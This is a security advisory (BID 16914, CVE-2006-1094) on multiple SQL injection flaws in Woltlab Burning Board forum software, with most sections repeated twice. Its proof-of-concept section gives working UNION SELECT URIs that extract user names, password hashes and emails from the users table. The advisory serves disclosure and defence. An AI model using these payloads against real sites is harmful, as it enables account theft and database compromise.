Woltlab Burning Board Multiple SQL Injection Vulnerabilities
BID:16914
Info
Woltlab Burning Board Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 16914 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-1094 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 02 2006 12:00AM |
| Updated: | Feb 16 2007 09:37PM |
| Credit: | Mustafa Can Bjorn is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Woltlab Burning Board 2.7 Woltlab Burning Board 2.6 Woltlab Burning Board 2.5 Woltlab Burning Board 2.4 Woltlab Burning Board 2.3.3 Woltlab Burning Board 2.3.1 Woltlab Burning Board 2.2.2 Woltlab Burning Board 2.0 RC2 Woltlab Burning Board 2.0 RC1 Woltlab Burning Board 2.0 beta 5 Woltlab Burning Board 2.0 beta 4 Woltlab Burning Board 2.0 beta 3 Woltlab Burning Board 1.1.1 |
| Not Vulnerable: | |
Discussion
Woltlab Burning Board Multiple SQL Injection Vulnerabilities
Woltlab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Woltlab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Exploit / POC
Woltlab Burning Board Multiple SQL Injection Vulnerabilities
These issues can be exploited through use of a web client.
The following proof of concept URI are available:
http://www.example.com[WBBDir]/info_db.php?action=file&subkatid=1&noheader=1&fileid=1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0,0,0,email,0,0,0,0,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1
http://www.example.com/[WBBDir]/database.php?
action=file&subkatid=1&noheader=1&fileid=1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0,0,0,email,0,0,0,0,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1
These issues can be exploited through use of a web client.
The following proof of concept URI are available:
http://www.example.com[WBBDir]/info_db.php?action=file&subkatid=1&noheader=1&fileid=1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0,0,0,email,0,0,0,0,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1
http://www.example.com/[WBBDir]/database.php?
action=file&subkatid=1&noheader=1&fileid=1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0,0,0,email,0,0,0,0,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1
Solution / Fix
Woltlab Burning Board Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: mailto:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: mailto:[email protected].
References
Woltlab Burning Board Multiple SQL Injection Vulnerabilities
References:
References: